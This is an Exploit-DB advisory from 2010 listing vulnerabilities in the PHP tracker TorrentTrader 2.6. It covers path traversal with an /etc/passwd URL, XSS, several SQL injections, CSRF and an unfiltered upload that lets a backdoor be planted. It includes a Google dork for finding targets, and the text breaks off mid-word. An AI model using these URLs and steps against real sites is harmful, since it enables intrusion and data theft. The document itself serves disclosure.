Exploit-DB #15857
Description: Discovery TorrentTrader 2.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-29
Author: EsS4ndre

Exploit:
# Exploit Title: TorrentTrader 2.6 Multiple vulnerabilities
# Google Dork: "Powered by TorrentTrader v2.06"
# Date: 29 Décembre 2010
# Author: EsS4ndre
# Software Link: http://sourceforge.net/projects/torrenttrader/files/TorrentTrader%20v2/TorrentTrader-v2.06/
# Version: 2.6
# Tested on: Linux

-----------------------------------------------------------------------------------------------------------------

blocks-edit.php
	
	Line 27: 
	
	if($preview){
		echo "<a name=\"".$name."\"></a>";
		begin_frame("Block preview");
		
			echo "<br /><center><b>"._BLC_USE_SITE_SET_."</b><hr>";
			echo "<table border=0 width=200 align=\"center\"><tr><td>";
			include("blocks/".$name."_block.php");
			echo "</td></tr></table><hr>";
			echo "<center><a href=\"javascript: self.close();\">"._CLS_WIN_."</a></center>";
			
		end_frame();
		stdfoot();
		die();
		
	The variable $preview isn't declared in the file, so it's exploitable from the url for example.
	
	http://localhost/blocks-edit.php?preview=1&name=../../../../../../../etc/passwd%00
	
	
	Line 28:
	
		echo "<a name=\"".$name."\"></a>";
		
		Like the variable $name isn't declared, it's exploitable for a XSS from the url.
	
	http://localhost/blocks-edit.php?preview=1&name=[XSS]

	
	Line 46:
	
	if($addnew){
		foreach($addnew as $addthis){
		$i = $addthis;
		
		$addblock = $_POST["addblock_".$i];
		$wantedname = "'".$_POST["wantedname_".$i]."'";
		$name = "'".str_replace("_block.php","",$addblock)."'";
		$description = "'".$_POST["wanteddescription_".$i]."'";

		mysql_query("INSERT INTO blocks (named, name, description, position, enabled, sort) 
		VALUES ($wantedname, $name, $description, 'left', 0, 0)")  or ((mysql_errno() == 1062) 
		? show_error_msg("Error","Sorry, this block is in database already!",1) : 
		show_error_msg("Error","Database Query failed: " . mysql_error()));
		if(mysql_affected_rows() != 0){
			$success = "<center><font size=\"3\"><b>"._SUCCESS_ADD_."</b></font></center><br />";
		}
	
	The variables $description, $addblock, $name and $wantedname aren't filtered, so it's vulnerable for a sql injection.

	Line 189:
	
		if($left){
		mysql_query("UPDATE blocks SET position = 'left', sort = $nextleft WHERE id = ".$left) 
		or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
		
	The variable $left isn't declared in the file, so it's vulnerable to Sql injection from the url.
	It's exploitable with a csrf.
	
	Line 196:
		if($middle){
		mysql_query("UPDATE blocks SET position = 'middle', sort = $nextmiddle WHERE id = ".$middle) 
		or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
		
	The variable $middle isn't declared in the file, so it's vulnerable to Sql injection from the url.
	
	Line 203:
	
	if($right){
		mysql_query("UPDATE blocks SET position = 'right', sort = $nextright WHERE enabled=1 AND id = ".$right) 
		or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
	
	The variable $right isn't declared in the file, so it's vulnerable to Sql injection from the url.
	
	Line 210: 
	
	if($up){
		$cur = mysql_query("SELECT position, sort, id FROM blocks WHERE id = $up");
		$curent = mysql_fetch_assoc($cur);

		mysql_query("UPDATE blocks SET sort = ".$sort." WHERE sort = ".($sort-1)." AND 
		id != $up AND position = '".$position."'") or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
		
		mysql_query("UPDATE blocks SET sort = ".($sort-1)." WHERE id=$up") 
		or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
		
	}
	
	The variable $up isn't declared in the file, so it's vulnerable to Sql injection.
	
	Line 219:
	
	if($down){
		$cur = mysql_query("SELECT position, sort, id FROM blocks WHERE id = $down");
		$curent = mysql_fetch_assoc($cur);

		mysql_query("UPDATE blocks SET sort = ".($sort+1)." WHERE id=$down") 
		or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
		mysql_query("UPDATE blocks SET sort = ".$sort." WHERE sort = ".($sort+1)." 
		AND id != $down AND position = '".$position."'") or 
		show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());
	}
	
	The variable $down isn't declared in the file, so it's vulnerable to Sql injection.
	
	
	Info: 
		- Register_globale is required
		- There needs to be admin
		- All this vulnerabilities are exploitables by crsf.
		
	Line 82 to 146:
	
	The upload form doesn't filter uploaded files.
	So, it's possible to send a backdoor on the server with the upload form.
	Rename the backdoor in backdoor_block.php and the file will be uploaded in the /blocks directory.
	http://localhost/blocks/backdoor_block.php
	

=================================================================================================================

torrents-import.php
	
	Line 101 :
	
	$ret = mysql_query("INSERT INTO torrents (filename, owner, name, descr, image1, 
	image2, category, added, info_hash, size, numfiles, save_as, announce, external, 
	nfo, torrentlang, anon) VALUES (".sqlesc($fname).", '".$CURUSER['id']."', ".sqlesc($name).",
	".sqlesc($descr).", '".$inames[0]."', '".$inames[1]."', '".$type."', '" . get_date_time() . "',
	'".$infohash."', '".$torrentsize."', '".$filecount."', ".sqlesc($fname).", '".$announce."',
	'".$external."', '".$nfo."', '".$langid."','$anon')");
		
	Sql vulnérability, the variable $type isn't declared. 
	
	Info:
		- There needs to be moderator
		- Register_globale is required.
		
=================================================================================================================

report.php

	The variables $takeuser, $takeuser, $takeforumid, $takecomment, $takeforumpost are vulnerable
	to sql injection and the variable $takereason is vulnerable to XSS.
	
	Line 40:

		$res = mysql_query("SELECT id FROM reports WHERE addedby = $CURUSER[id] AND votedfor = $takeuser AND type = 'user'");

	Line 43:

		 mysql_query("INSERT into reports (addedby,vot